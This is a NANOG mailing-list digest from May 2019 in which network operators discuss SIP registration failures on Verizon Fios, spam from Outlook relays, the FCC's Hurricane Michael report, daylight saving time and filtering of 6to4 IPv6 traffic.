Good ol UDP encrypted. > > > > On Mon, May 13, 2019 at 12:49 PM Brielle Bruns wrote: > >> >> On 5/13/2019 10:20 AM, Dovid Bender wrote: >> > Thought of that. Customers have their own CPE's. So far the only thing >> > mutual here is that it's NTT -> VZ. Here is what I found so far looking >> > at two Polycom phones using non standard ports (e.g. not 5060) >> > 1) PhoneA tries to register multiple extensions and for each request we >> > send a 401. We expect to get back a REGISTER request with a no-once but >> > we don't. This happens for a while and then magically it starts working. >> > 2) PhoneB tries to register the time time as PhoneA and has no issues. >> > >> > At first I thought it was something possibly with the SIP call-ID but I >> > ruled that out since in the same SIP DIALOG it was not working then it >> > started. Also the seems to be per phone each phone is behind NAT and >> the >> > traffic is coming from a different NAT'd port. Seems like there is some >> > device in the middle that is randomly dropping traffic on specific >> sessions. >> >> >> Are you using TLS encrypted SIP or just plain ol' cleartext? >> >> If its encrypted, I'd look at possibly there being a MTU/MSS issue >> somewhere along the path possibly? >> >> >> -- >> Brielle Bruns >> The Summit Open Source Development Group >> http://www.sosdg.org / http://www.ahbl.org >> > -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 11 Date: Mon, 13 May 2019 14:43:45 -0400 From: Jared Mauch To: Dovid Bender Cc: Brielle Bruns , NANOG Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: <3B38B91F-EF60-4838-BA72-DF8EA3691749 at puck.nether.net> Content-Type: text/plain; charset="utf-8" This matches my experience with running SIP on networks. Slowly over the years it became more unreliable as “helper” ALGs were in the path. Eventually we moved some devices off 5060 to alleviate the problem. Sent from my iCar > On May 13, 2019, at 2:32 PM, Dovid Bender wrote: > > FYI: More than one person reached out to me off list. The issue is clearly with VZ. Traces by the others were done and NTT was not in the mix. The only common denominator was 401 SIP packets hitting VZ Fios IP's in the NY area. > > > >> On Mon, May 13, 2019 at 1:04 PM Dovid Bender wrote: >> Good ol UDP encrypted. >> >> >> >>> On Mon, May 13, 2019 at 12:49 PM Brielle Bruns wrote: >>> >>> On 5/13/2019 10:20 AM, Dovid Bender wrote: >>> > Thought of that. Customers have their own CPE's. So far the only thing >>> > mutual here is that it's NTT -> VZ. Here is what I found so far looking >>> > at two Polycom phones using non standard ports (e.g. not 5060) >>> > 1) PhoneA tries to register multiple extensions and for each request we >>> > send a 401. We expect to get back a REGISTER request with a no-once but >>> > we don't. This happens for a while and then magically it starts working. >>> > 2) PhoneB tries to register the time time as PhoneA and has no issues. >>> > >>> > At first I thought it was something possibly with the SIP call-ID but I >>> > ruled that out since in the same SIP DIALOG it was not working then it >>> > started. Also the seems to be per phone each phone is behind NAT and the >>> > traffic is coming from a different NAT'd port. Seems like there is some >>> > device in the middle that is randomly dropping traffic on specific sessions. >>> >>> >>> Are you using TLS encrypted SIP or just plain ol' cleartext? >>> >>> If its encrypted, I'd look at possibly there being a MTU/MSS issue >>> somewhere along the path possibly? >>> >>> >>> -- >>> Brielle Bruns >>> The Summit Open Source Development Group >>> http://www.sosdg.org / http://www.ahbl.org -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 12 Date: Mon, 13 May 2019 14:44:40 -0400 From: Dovid Bender To: Jared Mauch Cc: Brielle Bruns , NANOG Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: Content-Type: text/plain; charset="utf-8" In our case we are not using 5060. The issue seems exclusive to VZ. On Mon, May 13, 2019 at 2:43 PM Jared Mauch wrote: > This matches my experience with running SIP on networks. Slowly over the > years it became more unreliable as “helper” ALGs were in the path. > > Eventually we moved some devices off 5060 to alleviate the problem. > > Sent from my iCar > > On May 13, 2019, at 2:32 PM, Dovid Bender wrote: > > FYI: More than one person reached out to me off list. The issue is clearly > with VZ. Traces by the others were done and NTT was not in the mix. The > only common denominator was 401 SIP packets hitting VZ Fios IP's in the NY > area. > > > > On Mon, May 13, 2019 at 1:04 PM Dovid Bender wrote: > >> Good ol UDP encrypted. >> >> >> >> On Mon, May 13, 2019 at 12:49 PM Brielle Bruns wrote: >> >>> >>> On 5/13/2019 10:20 AM, Dovid Bender wrote: >>> > Thought of that. Customers have their own CPE's. So far the only thing >>> > mutual here is that it's NTT -> VZ. Here is what I found so far >>> looking >>> > at two Polycom phones using non standard ports (e.g. not 5060) >>> > 1) PhoneA tries to register multiple extensions and for each request >>> we >>> > send a 401. We expect to get back a REGISTER request with a no-once >>> but >>> > we don't. This happens for a while and then magically it starts >>> working. >>> > 2) PhoneB tries to register the time time as PhoneA and has no issues. >>> > >>> > At first I thought it was something possibly with the SIP call-ID but >>> I >>> > ruled that out since in the same SIP DIALOG it was not working then it >>> > started. Also the seems to be per phone each phone is behind NAT and >>> the >>> > traffic is coming from a different NAT'd port. Seems like there is >>> some >>> > device in the middle that is randomly dropping traffic on specific >>> sessions. >>> >>> >>> Are you using TLS encrypted SIP or just plain ol' cleartext? >>> >>> If its encrypted, I'd look at possibly there being a MTU/MSS issue >>> somewhere along the path possibly? >>> >>> >>> -- >>> Brielle Bruns >>> The Summit Open Source Development Group >>> http://www.sosdg.org / http://www.ahbl.org >>> >> -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 13 Date: Mon, 13 May 2019 13:52:11 -0400 From: Pete Rohrman To: Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: <688fc03b-8ab8-3380-7652-dadb15202d23 at stage2networks.com> Content-Type: text/plain; charset="utf-8"; Format="flowed" Dovid Bender, I'm seeing the same sort of thing. Polycom phones. Multiple customers getting to me from Verizon in NYC area. I'm seeing phones register for a while, then drop off, then I see them trying to re-reg resulting in your 401 below. Call me. 212 497 8015. Let's look at this. Pete Pete Rohrman Stage2 Support 212 497 8000, Opt. 2 On 5/13/19 12:20 PM, Dovid Bender wrote: > Thought of that. Customers have their own CPE's. So far the only thing > mutual here is that it's NTT -> VZ. Here is what I found so far > looking at two Polycom phones using non standard ports (e.g. not 5060) > 1) PhoneA tries to register multiple extensions and for each request > we send a 401. We expect to get back a REGISTER request with a no-once > but we don't. This happens for a while and then magically it starts > working. > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > At first I thought it was something possibly with the SIP call-ID but > I ruled that out since in the same SIP DIALOG it was not working then > it started. Also the seems to be per phone each phone is behind NAT > and the traffic is coming from a different NAT'd port. Seems like > there is some device in the middle that is randomly dropping traffic > on specific sessions. > > > > > > On Mon, May 13, 2019 at 11:40 AM Brielle Bruns > wrote: > > On 5/13/2019 9:21 AM, Dovid Bender wrote: > > Hi, > > > > Over the last 48 hours we have been getting a lot of alerts of > customers > > phones losing registrations to us. All the complaints are coming > from > > customers that are on VZ Fios in the NYC area. Anyone else see > anything > > strange going on? > > > > > While you are diagnosing, might check to make sure that the SIP > ALG is > disabled on all of their routers too. > > > > -- > Brielle Bruns > The Summit Open Source Development Group > http://www.sosdg.org / http://www.ahbl.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 14 Date: Mon, 13 May 2019 15:11:03 -0400 From: To: Subject: Charter and Cox contacts Message-ID: <052201d509bf$9c000c30$d4002490$@pyranah.com> Content-Type: text/plain; charset="utf-8" Does anyone have contacts at Charter (Spectrum) and Cox? For some reason, our IP has been blocked by them and our customers are unable to send email via their charter/cox accounts. Thanks Daniel Temple VP of Operations Pyranah Communications, LLC 828-743-2470 ext.205 Pyranah.com Like us on Facebook! -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 15 Date: Mon, 13 May 2019 17:39:39 -0400 From: bzs at theworld.com To: nanog at nanog.org Cc: abuse at outlook.com Subject: Mostly name and shame... Message-ID: <23769.58395.683601.559454 at gargle.gargle.HOWL> Content-Type: text/plain; charset=us-ascii Why has OUTLOOK.COM allowed daily dictionary spammers to operate from their net, FOR YEARS? It can't be that hard to detect and block. 2019-05-13T17:00:18.194103-04:00 pcls6 sendmail[14128]: NOUSER: proctor5 relay=mail-eopbgr740053.outbound.protection.outlook.com [40.107.74.53] 2019-05-13T17:00:18.444848-04:00 pcls6 sendmail[14128]: NOUSER: proctor4 relay=mail-eopbgr740053.outbound.protection.outlook.com [40.107.74.53] 2019-05-13T17:00:18.698977-04:00 pcls6 sendmail[14128]: NOUSER: proctor2 relay=mail-eopbgr740053.outbound.protection.outlook.com [40.107.74.53] 2019-05-13T17:00:18.952548-04:00 pcls6 sendmail[14128]: NOUSER: proctor10 relay=mail-eopbgr740053.outbound.protection.outlook.com [40.107.74.53] 2019-05-13T17:10:27.523597-04:00 pcls6 sendmail[19471]: NOUSER: proctor6 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:10:27.775984-04:00 pcls6 sendmail[19471]: NOUSER: proctor5 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:10:28.029744-04:00 pcls6 sendmail[19471]: NOUSER: proctor4 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:10:28.283016-04:00 pcls6 sendmail[19471]: NOUSER: proctor2 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:10:28.537106-04:00 pcls6 sendmail[19471]: NOUSER: proctor10 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:30:47.045677-04:00 pcls6 sendmail[31621]: NOUSER: proctor6 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:30:47.299131-04:00 pcls6 sendmail[31621]: NOUSER: proctor5 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:30:47.552492-04:00 pcls6 sendmail[31621]: NOUSER: proctor4 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:30:47.804233-04:00 pcls6 sendmail[31621]: NOUSER: proctor2 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:30:48.056635-04:00 pcls6 sendmail[31621]: NOUSER: proctor10 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:35:05.867715-04:00 pcls6 sendmail[1352]: NOUSER: proctor9 relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] 2019-05-13T17:35:06.120021-04:00 pcls6 sendmail[1352]: NOUSER: proctor7 relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] 2019-05-13T17:35:06.372603-04:00 pcls6 sendmail[1352]: NOUSER: proctor6 relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] 2019-05-13T17:35:06.627583-04:00 pcls6 sendmail[1352]: NOUSER: proctor5 relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] 2019-05-13T17:35:06.885218-04:00 pcls6 sendmail[1352]: NOUSER: proctor relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] etc etc etc etc. -- -Barry Shein Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD The World: Since 1989 | A Public Information Utility | *oo* ------------------------------ Message: 16 Date: Mon, 13 May 2019 14:53:01 -0700 From: Randy Bush To: Christopher Morrow Cc: Pengxiong Zhu , Keyu Man , North American Network Operators' Group , Zhiyun Qian , Zhongjie Wang Subject: Re: Ownership of Routers on Both Ends of Transnational Links Message-ID: Content-Type: text/plain; charset=US-ASCII i suspect the OP is down the rabbit hole of what is known as "anti-aliasing," trying to find out whether IP address A on some router is actually on the same router as IP address B, and what AS(s) those IPs are in. your point is that an inter-as link may have IPs from either of the providers. yup. and, because it is an INTER-as link, it does not really belong to one or t'other. this particular rabbit digs deep holes. an early entrance to the burrow is the classic from the uw crew inproceedings{Spring:2002:MIT:633025.633039, author = {Spring, Neil and Mahajan, Ratul and Wetherall, David}, title = {Measuring ISP Topologies with Rocketfuel}, booktitle = {Proceedings of the 2002 Conference on Applications, Technologies, Architectures, and Protocols for Computer Communications}, series = {SIGCOMM '02}, year = {2002}, isbn = {1-58113-570-X}, location = {Pittsburgh, Pennsylvania, USA}, pages = {133--145}, numpages = {13}, url = {http://doi.acm.org/10.1145/633025.633039}, doi = {10.1145/633025.633039}, acmid = {633039}, publisher = {ACM}, address = {New York, NY, USA}, } randy ------------------------------ Message: 17 Date: Mon, 13 May 2019 15:29:43 -0700 From: Stephen Satchell To: nanog at nanog.org Subject: Re: Charter and Cox contacts Message-ID: <1d87ab31-ab93-d69b-be66-c29bf97dedb8 at satchell.net> Content-Type: text/plain; charset=windows-1252 On 5/13/19 12:11 PM, daniel at pyranah.com wrote: > Does anyone have contacts at Charter (Spectrum) and Cox? For some reason, > our IP has been blocked by them and our customers are unable to send email > via their charter/cox accounts. Thanks Would you be talking about port 25/tcp outbound? Lots of ISPs will block port 25 as a rule; you have to call to have it opened. At the same time, you can request the PTR record you need to keep big mail receivers happy. ------------------------------ Message: 18 Date: Mon, 13 May 2019 23:48:02 -0500 From: To: "'Mel Beckman'" , "Mike Bolitho" Cc: Subject: RE: FCC Hurricane Michael after-action report Message-ID: <003e01d50a10$36d52330$a47f6990$@iname.com> Content-Type: text/plain; charset="utf-8" This webinar may be of some interest to those in this group: https://www.fcc.gov/small-rural-communications-provider-network-resiliency-webinar Here’s some additional color commentary on the FCC’s concerns: https://urgentcomm.com/2019/05/10/backhaul-problems-disjointed-recovery-efforts-key-causes-of-unacceptable-extended-wireless-outage-after-hurricane-michael-fcc-report-says/ "“Uniti Fiber (Uniti) provides backhaul services to Verizon Wireless in Bay and Gulf Counties. Uniti indicates it experienced at least 33 separate fiber cuts during the recovery effort. These fiber cuts included damage to sections that already had been repaired. Commenters attributed fiber cuts to debris-removal crews, power-company restorations, and returning homeowners clearing their property.” One of my takeaways from that article was that burying fiber underground could likely have avoided many/most of these fiber cuts, though I’m not familiar enough with the terrain to know how feasible that is. Frank From: NANOG On Behalf Of Mel Beckman Sent: Saturday, May 11, 2019 9:52 AM To: Mike Bolitho Cc: nanog at nanog.org Subject: Re: FCC Hurricane Michael after-action report This is what I tell outage complainers during natural disasters, such as the fires in California that recently took out a lot of power and communications: “Stop whining about how long it is taking to repair your Internet, your cell phone service, or your cable TV. You didn’t pay anything extra to recover from natural disasters, and none of us in the field are getting paid anything extra to restore your services. No, we don’t know how long it will take. It takes what it takes. That you don’t get instant gratification doesn’t make us incompetent. It makes you ungrateful. It’s a natural disaster. These are not scheduled. Your outage is nobody’s fault. We don’t have a duty to mitigate all conceivable failures. It takes time to repair. We’re not cheating you, or loafing around. We don’t owe you any special attention because of your status or reputation. So quit whining and be thankful you’re alive, and hopefully you haven’t lost too much. Maybe pitch in and help those who have.“ I also send this to ignorant journalists and grandstanding politicians. -mel via cell On May 11, 2019, at 4:29 AM, Mike Bolitho > wrote: Trying not to get political, here goes... Something important to keep in mind: The current administration has been getting slammed for their lack of response in the aftermath of Michael since the hurricane hit. A lot of that criticism revolves around communications infrastructure and FEMA's lack of assistance. The current administration has, time and time again, used federal agencies (specifically their presidential appointees) to defend the administration's actions or inactions. I have read the full report and it is more or less a thinly veiled hit piece. I'm not going to link them here (they are easy enough to find via Google) but there are several very good articles written by reputable tech journalists that go into greater detail responding to the report. Worth checking out. I say all of that because most of us like to hate on telecom companies (many times rightly so) but I don't think they are entirely to blame here. There's nothing Verizon or AT&T can do if their backhaul is cut by a tree or some third party clean up crew. The report is a gross oversimplification of how telecommunication infrastructure works. I think anyone here that has ever worked a storm like this can attest to the complexity and difficulty you run into during recovery. Hanlon's Razor and all but this is the FCC and I would hope they would know better. Speaking specifically to point 51, it's impossible to coordinate between the thousands of crews working to clean things up and repair physical infrastructure after a massive storm like this. Many of the people doing physical cleanup are volunteers that are fully independent of any governing body or company. It is not a telco's responsibility to know when and where those crews are working. Further, even if those crews we're calling in and letting each telco know exactly where they were, what does that provide other than an impossibly large and fluid dataset to parse for any meaningful information. - Mike Bolitho On Thu, May 9, 2019, 4:43 PM Sean Donelan wrote: The FCC has released its report and analysis of Hurricane Michael impact on communications: preparation, effect and recovery. https://www.fcc.gov/document/fcc-releases-report-communication-impacts-hurricane-michael-0 Conclusions and Recommendations 51. Backhaul outages loomed large as an impediment to communications recovery. Uncoordinated post-storm recovery efforts between and among communications, utility, and debris removal teams created unnecessary delays to a speedy return to service. Customers who had communications service restored – only to lose it again almost immediately because of a fiber cut – provide a clear example of how better cross-sector coordination could have improved the restoration process. -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 19 Date: Mon, 13 May 2019 22:20:22 -0700 From: Mike Bolitho Cc: nanog at nanog.org Subject: Re: FCC Hurricane Michael after-action report Message-ID: Content-Type: text/plain; charset="utf-8" In Florida, especially the panhandle, it's not possible to bury it. The water table is way too high. On Mon, May 13, 2019, 9:47 PM wrote: > This webinar may be of some interest to those in this group: > > > https://www.fcc.gov/small-rural-communications-provider-network-resiliency-webinar > > > > Here’s some additional color commentary on the FCC’s concerns: > > > https://urgentcomm.com/2019/05/10/backhaul-problems-disjointed-recovery-efforts-key-causes-of-unacceptable-extended-wireless-outage-after-hurricane-michael-fcc-report-says/ > > "“Uniti Fiber (Uniti) provides backhaul services to Verizon Wireless in > Bay and Gulf Counties. Uniti indicates it experienced at least 33 separate > fiber cuts during the recovery effort. These fiber cuts included damage to > sections that already had been repaired. Commenters attributed fiber cuts > to debris-removal crews, power-company restorations, and returning > homeowners clearing their property.” > > One of my takeaways from that article was that burying fiber underground > could likely have avoided many/most of these fiber cuts, though I’m not > familiar enough with the terrain to know how feasible that is. > > Frank > > > > *From:* NANOG *On Behalf Of *Mel Beckman > *Sent:* Saturday, May 11, 2019 9:52 AM > *To:* Mike Bolitho > *Cc:* nanog at nanog.org > *Subject:* Re: FCC Hurricane Michael after-action report > > > > This is what I tell outage complainers during natural disasters, such as > the fires in California that recently took out a lot of power and > communications: > > > > “Stop whining about how long it is taking to repair your Internet, your > cell phone service, or your cable TV. You didn’t pay anything extra to > recover from natural disasters, and none of us in the field are getting > paid anything extra to restore your services. > > > > No, we don’t know how long it will take. It takes what it takes. That you > don’t get instant gratification doesn’t make us incompetent. It makes you > ungrateful. > > > > It’s a natural disaster. These are not scheduled. Your outage is nobody’s > fault. We don’t have a duty to mitigate all conceivable failures. > > > > It takes time to repair. We’re not cheating you, or loafing around. We > don’t owe you any special attention because of your status or reputation. > > > > So quit whining and be thankful you’re alive, and hopefully you haven’t > lost too much. Maybe pitch in and help those who have.“ > > > > I also send this to ignorant journalists and grandstanding politicians. > > -mel via cell > > > On May 11, 2019, at 4:29 AM, Mike Bolitho wrote: > > Trying not to get political, here goes... > > > > Something important to keep in mind: The current administration has been > getting slammed for their lack of response in the aftermath of Michael > since the hurricane hit. A lot of that criticism revolves around > communications infrastructure and FEMA's lack of assistance. The current > administration has, time and time again, used federal agencies > (specifically their presidential appointees) to defend the administration's > actions or inactions. I have read the full report and it is more or less a > thinly veiled hit piece. I'm not going to link them here (they are easy > enough to find via Google) but there are several very good articles written > by reputable tech journalists that go into greater detail responding to the > report. Worth checking out. > > > > I say all of that because most of us like to hate on telecom companies > (many times rightly so) but I don't think they are entirely to blame here. > There's nothing Verizon or AT&T can do if their backhaul is cut by a tree > or some third party clean up crew. The report is a gross oversimplification > of how telecommunication infrastructure works. I think anyone here that has > ever worked a storm like this can attest to the complexity and difficulty > you run into during recovery. Hanlon's Razor and all but this is the FCC > and I would hope they would know better. > > > > Speaking specifically to point 51, it's impossible to coordinate between > the thousands of crews working to clean things up and repair physical > infrastructure after a massive storm like this. Many of the people doing > physical cleanup are volunteers that are fully independent of any governing > body or company. It is not a telco's responsibility to know when and where > those crews are working. Further, even if those crews we're calling in and > letting each telco know exactly where they were, what does that provide > other than an impossibly large and fluid dataset to parse for any > meaningful information. > > > > - Mike Bolitho > > > > On Thu, May 9, 2019, 4:43 PM Sean Donelan wrote: > > > The FCC has released its report and analysis of Hurricane Michael impact > on communications: preparation, effect and recovery. > > > > https://www.fcc.gov/document/fcc-releases-report-communication-impacts-hurricane-michael-0 > > Conclusions and Recommendations > > 51. Backhaul outages loomed large as an impediment to communications > recovery. Uncoordinated post-storm recovery efforts between and among > communications, utility, and debris removal teams created unnecessary > delays to a speedy return to service. Customers who had communications > service restored – only to lose it again almost immediately because of a > fiber cut – provide a clear example of how better cross-sector > coordination could have improved the restoration process. > > -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 20 Date: Tue, 14 May 2019 09:03:30 +0300 From: Saku Ytti To: prohrman at stage2networks.com Cc: "nanog at nanog.org" Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: Content-Type: text/plain; charset="UTF-8" Can someone try to recreate the problem with TCP/5060. Or do iperf test on equivalent ports with UDP+TCP, to determine if the problem is related specifically to UDP. Most networks have some form of limits to even transit traffic, UDP is most typical L4 to have policers. On Tue, 14 May 2019 at 00:12, Pete Rohrman wrote: > > Dovid Bender, > > I'm seeing the same sort of thing. Polycom phones. Multiple customers getting to me from Verizon in NYC area. I'm seeing phones register for a while, then drop off, then I see them trying to re-reg resulting in your 401 below. > > Call me. 212 497 8015. Let's look at this. > > Pete > > Pete Rohrman > Stage2 Support > 212 497 8000, Opt. 2 > > On 5/13/19 12:20 PM, Dovid Bender wrote: > > Thought of that. Customers have their own CPE's. So far the only thing mutual here is that it's NTT -> VZ. Here is what I found so far looking at two Polycom phones using non standard ports (e.g. not 5060) > 1) PhoneA tries to register multiple extensions and for each request we send a 401. We expect to get back a REGISTER request with a no-once but we don't. This happens for a while and then magically it starts working. > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > At first I thought it was something possibly with the SIP call-ID but I ruled that out since in the same SIP DIALOG it was not working then it started. Also the seems to be per phone each phone is behind NAT and the traffic is coming from a different NAT'd port. Seems like there is some device in the middle that is randomly dropping traffic on specific sessions. > > > > > > On Mon, May 13, 2019 at 11:40 AM Brielle Bruns wrote: >> >> On 5/13/2019 9:21 AM, Dovid Bender wrote: >> > Hi, >> > >> > Over the last 48 hours we have been getting a lot of alerts of customers >> > phones losing registrations to us. All the complaints are coming from >> > customers that are on VZ Fios in the NYC area. Anyone else see anything >> > strange going on? >> > >> >> >> While you are diagnosing, might check to make sure that the SIP ALG is >> disabled on all of their routers too. >> >> >> >> -- >> Brielle Bruns >> The Summit Open Source Development Group >> http://www.sosdg.org / http://www.ahbl.org -- ++ytti ------------------------------ Message: 21 Date: Tue, 14 May 2019 09:41:55 +0200 From: Mark Tinka To: nanog at nanog.org Subject: Re: NTP for ASBRs? Message-ID: <0c74f5cb-9299-e6f9-b0e6-46863ca96fdd at seacom.mu> Content-Type: text/plain; charset=utf-8 On 9/May/19 02:47, Bryan Holloway wrote: > > > Hawai'i and Arizona can add/subtract without looking at the damn > calendar. I'm just sayin' I'd like to see more of that. Well, 2 months ago, the EU parliament voted to scrap daylight saving time from 2021. This would also apply to the UK if it chooses to remain in the EU, or during the extended transition period that Theresa May is currently working. It's now up to the various EU member states to decide whether they want to remain permanently in winter or permanently in summer. Of course, the UK government aren't necessarily amused. Mark. ------------------------------ Message: 22 Date: Tue, 14 May 2019 09:10:16 +0100 From: colin johnston To: Mark Tinka Cc: nanog at nanog.org Subject: Re: NTP for ASBRs? Message-ID: Content-Type: text/plain; charset=us-ascii > On 14 May 2019, at 08:41, Mark Tinka wrote: > > > > On 9/May/19 02:47, Bryan Holloway wrote: > >> >> >> Hawai'i and Arizona can add/subtract without looking at the damn >> calendar. I'm just sayin' I'd like to see more of that. > > Well, 2 months ago, the EU parliament voted to scrap daylight saving > time from 2021. This would also apply to the UK if it chooses to remain > in the EU, or during the extended transition period that Theresa May is > currently working. > > It's now up to the various EU member states to decide whether they want > to remain permanently in winter or permanently in summer. > > Of course, the UK government aren't necessarily amused. > > Mark. > Dst Time works great for Scotland as allows kids to go to school during lighter hours. It has been proved to save road deaths Col ------------------------------ Message: 23 Date: Tue, 14 May 2019 11:31:57 +0200 From: Mark Tinka To: "nanog at nanog.org" Subject: Fwd: [afnog] SAFNOG-5 & iWeek 2019 Registrations Open Message-ID: Content-Type: text/plain; charset="utf-8" FYI. Mark. -------- Forwarded Message -------- Subject: [afnog] SAFNOG-5 & iWeek 2019 Registrations Open Date: Mon, 13 May 2019 11:06:53 +0000 From: Portia Rabonda To: afnog at afnog.org ​​Greetings All, It gives us great pleasure to announce that the SAFNOG-5 & iWeek 2019 event registration is now open! SAFNOG, in collaboration with iWeek, is proud to announce that this year’s event registration is free of charge. SAFNOG-5 and iWeek 2019 will be held between the 26th- 28th August, 2019, in Johannesburg, South Africa. SAFNOG-5 seats are limited to 120 people, to reserve your spot, register through our website: http://safnog.org/​. Please take note to select “SAFNOG-5” as the main event of attendance to secure your free seat. Information about the event programme, the venue, travel information and other important updates will be made available on http://safnog.org/ in due time. We are officially 105 days from the big showdown in Jozi! We look forward to seeing you there! Regards, Portia Rabonda on Behalf of SAFNOG MC -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- _______________________________________________ afnog mailing list https://www.afnog.org/mailman/listinfo/afnog ------------------------------ Message: 24 Date: Tue, 14 May 2019 07:48:25 -0400 From: Dovid Bender To: Saku Ytti Cc: Peter Rohrman , "nanog at nanog.org" Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: Content-Type: text/plain; charset="utf-8" It's not strictly UDP. I spoke with someone yesterday that was re-producing it with curl. On Tue, May 14, 2019 at 2:04 AM Saku Ytti wrote: > Can someone try to recreate the problem with TCP/5060. Or do iperf > test on equivalent ports with UDP+TCP, to determine if the problem is > related specifically to UDP. > > Most networks have some form of limits to even transit traffic, UDP is > most typical L4 to have policers. > > On Tue, 14 May 2019 at 00:12, Pete Rohrman > wrote: > > > > Dovid Bender, > > > > I'm seeing the same sort of thing. Polycom phones. Multiple > customers getting to me from Verizon in NYC area. I'm seeing phones > register for a while, then drop off, then I see them trying to re-reg > resulting in your 401 below. > > > > Call me. 212 497 8015. Let's look at this. > > > > Pete > > > > Pete Rohrman > > Stage2 Support > > 212 497 8000, Opt. 2 > > > > On 5/13/19 12:20 PM, Dovid Bender wrote: > > > > Thought of that. Customers have their own CPE's. So far the only thing > mutual here is that it's NTT -> VZ. Here is what I found so far looking at > two Polycom phones using non standard ports (e.g. not 5060) > > 1) PhoneA tries to register multiple extensions and for each request we > send a 401. We expect to get back a REGISTER request with a no-once but we > don't. This happens for a while and then magically it starts working. > > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > > > At first I thought it was something possibly with the SIP call-ID but I > ruled that out since in the same SIP DIALOG it was not working then it > started. Also the seems to be per phone each phone is behind NAT and the > traffic is coming from a different NAT'd port. Seems like there is some > device in the middle that is randomly dropping traffic on specific sessions. > > > > > > > > > > > > On Mon, May 13, 2019 at 11:40 AM Brielle Bruns wrote: > >> > >> On 5/13/2019 9:21 AM, Dovid Bender wrote: > >> > Hi, > >> > > >> > Over the last 48 hours we have been getting a lot of alerts of > customers > >> > phones losing registrations to us. All the complaints are coming from > >> > customers that are on VZ Fios in the NYC area. Anyone else see > anything > >> > strange going on? > >> > > >> > >> > >> While you are diagnosing, might check to make sure that the SIP ALG is > >> disabled on all of their routers too. > >> > >> > >> > >> -- > >> Brielle Bruns > >> The Summit Open Source Development Group > >> http://www.sosdg.org / http://www.ahbl.org > > > > -- > ++ytti > -------------- next part -------------- An HTML attachment was scrubbed... URL: End of NANOG Digest, Vol 136, Issue 14 ************************************** From amos at oasis-tech.net Tue May 14 15:29:24 2019 From: amos at oasis-tech.net (Amos Rosenboim) Date: Tue, 14 May 2019 15:29:24 +0000 Subject: IPv6 ingress filter Message-ID: <255376E7-FC9D-438F-8C1D-C6692AB2B6B8@oasis-tech.net> Hello, As we are trying to tighten the security for IPv6 traffic in our network, I was looking for a reference IPv6 ingress filter. I came up with Job Snijders suggestion (thank you Job) that can be conveniently found at whois -h whois.ripe.net fltr-martian-v6 After applying the filter I noticed some traffic from 6to4 addresses (2002::/16) to our native IPv6 prefixes (residential users in this case). The traffic is a mix of both UDP and TCP but all on high port numbers on both destination and source. It seems to me like some P2P traffic, but I really can’t tell. This got me thinking, why should we filter these addresses at all ? I know 6to4 is mostly dead, but is it inherently bad ? And if so, why is the prefix (2002::/16) still being routed ? I would love to hear some thoughts on this, and understand if others are actually filtering this at both data plane and control plane. Thanks, Amos Rosenboim -- -------------- next part -------------- An HTML attachment was scrubbed... URL: From george.metz at gmail.com Tue May 14 15:38:43 2019 From: george.metz at gmail.com (George Metz) Date: Tue, 14 May 2019 11:38:43 -0400 Subject: FCC Hurricane Michael after-action report In-Reply-To: <20190514135113.GA18581@gsp.org> References: <003e01d50a10$36d52330$a47f6990$@iname.com> <20190514135113.GA18581@gsp.org> Message-ID: There's more to it than this too. I was down there (I have sites I'm responsible for in Panama City Beach) in February and I was talking to a bunch of folks in the area as a result. This storm was fairly unusual for the area for a number of reasons. One, it normally doesn't hit the panhandle at anywhere near a category 5, and two, it was still a high category 3 by the time it hit Georgia. The amount of damage done was immense, is still not cleaned up (I drove past multiple buildings that were still piles of rubble, 4 months after the storm), and I was seeing forests full of damaged and destroyed trees all the way to I-10. All in all, the vast majority of Panama City looked much more like 4 months after a tornado rather than a hurricane, and all that damage continued all the way into Georgia. Thinking this was just like any other hurricane to hit the area is the absolute wrong tack to take - from what I heard there was some discussion of whether it was worth it to reopen Tyndall AFB, because the only thing left standing was some WWII era bomb-proof concrete hangars. On the flip side, improvements in response are a good thing - as long as people aren't beating up on the people who did the responding in the first place without cause. On Tue, May 14, 2019 at 9:52 AM Rich Kulawiec wrote: > On Mon, May 13, 2019 at 11:48:02PM -0500, frnkblk at iname.com wrote: > > One of my takeaways from that article was that burying fiber underground > > could likely have avoided many/most of these fiber cuts, though I???m > > not familiar enough with the terrain to know how feasible that is. > > I suspect that may not be possible in (parts of) Florida. 